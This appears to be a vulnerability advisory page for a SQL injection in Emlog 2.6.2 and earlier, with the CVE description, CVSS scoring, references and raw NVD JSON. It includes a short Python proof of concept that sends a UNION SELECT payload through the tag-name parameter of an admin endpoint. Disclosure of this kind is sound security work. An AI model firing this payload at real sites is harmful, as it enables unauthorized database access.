CVE-2026-34788

Description

Emlog is an open source website building system. In versions 2.6.2 and prior, a SQL injection vulnerability exists in include/model/tag_model.php at line 168. The updateTagName() function directly interpolates user input into the SQL query string without using parameterized queries or proper escaping ($this->db->escape_string()), making it vulnerable to SQL injection attacks. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:emlog:emlog:*:*:*:*:pro:*:*:* - VULNERABLE

Emlog <= 2.6.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "http://target-emlog-site/admin/tag.php?action=update_tag"

# Attacker needs to be authenticated (High Privilege Required)
cookies = {
    "PHPSESSID": "valid_admin_session_id"
}

# Malicious payload to extract database version
# The vulnerability is in the 'name' parameter passed to updateTagName
payload = "test' UNION SELECT 1, version(), 3, 4-- -"

data = {
    "name": payload,
    "tid": "1"
}

try:
    response = requests.post(target_url, data=data, cookies=cookies)
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Check response for database version output.")
    else:
        print("[-] Request failed.")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34788
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34788
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34788/
[4] VulDB https://vuldb.com/cve/CVE-2026-34788
[5] https://github.com/emlog/emlog/security/advisories/GHSA-32mg-33qq-p3gf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34788", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:05.063", "lastModified": "2026-04-13T17:29:51.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. In versions 2.6.2 and prior, a SQL injection vulnerability exists in include/model/tag_model.php at line 168. The updateTagName() function directly interpolates user input into the SQL query string without using parameterized queries or proper escaping ($this->db->escape_string()), making it vulnerable to SQL injection attacks. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:*:*:*:*:pro:*:*:*", "versionEndIncluding": "2.6.2", "matchCriteriaId": "87AE63DC-4F2B-44E3-8865-B6166722A5D6"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/security/advisories/GHSA-32mg-33qq-p3gf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}